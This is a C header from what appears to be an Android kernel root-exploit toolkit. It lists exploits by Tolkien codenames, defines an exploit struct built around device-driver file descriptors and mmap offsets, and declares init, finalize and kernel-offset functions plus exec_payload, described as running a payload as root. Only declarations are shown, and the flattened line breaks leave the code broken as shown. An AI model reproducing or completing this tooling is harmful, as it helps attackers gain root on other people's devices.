#define SAM_EXP 0 #define ARAGORN_EXP 1 #define GIMLI_EXP 2 #define MERRY_EXP 3 #define FRODO_EXP 4 #define LEGOLAS_EXP 5 #define GANDALF_EXP 6 #define BOROMIR_EXP 7 #define BOROMIR2_EXP 8 #define BOROMIR3_EXP 9 // Exploit struct struct exploit { int id; // Exploit id char* dev; // Device driver int fd; // Device file descriptor int fd2; // Additional file descriptor unsigned long offset; // Offset for mmap int length; // Dump length unsigned long start_offset; // Offset modified int (*pre_init)(struct exploit *exp); int (*init) (struct exploit *exp); int (*finalize)(struct exploit *exp); }; extern struct exploit* exp_list[]; // Set the kernel base addr in the exploit struct int set_offset(struct exploit *exp); int init_aragorn(struct exploit *exp); int sleep_func(struct exploit *exp); int finalize_exynos(struct exploit *exp); int init_frodo(struct exploit *exp); int init_legolas(struct exploit *exp); int pre_init_gandalf(struct exploit *exp); int init_gandalf(struct exploit *exp); void exec_payload(int args, char **cmd); // Define here the payload you need to execute as root .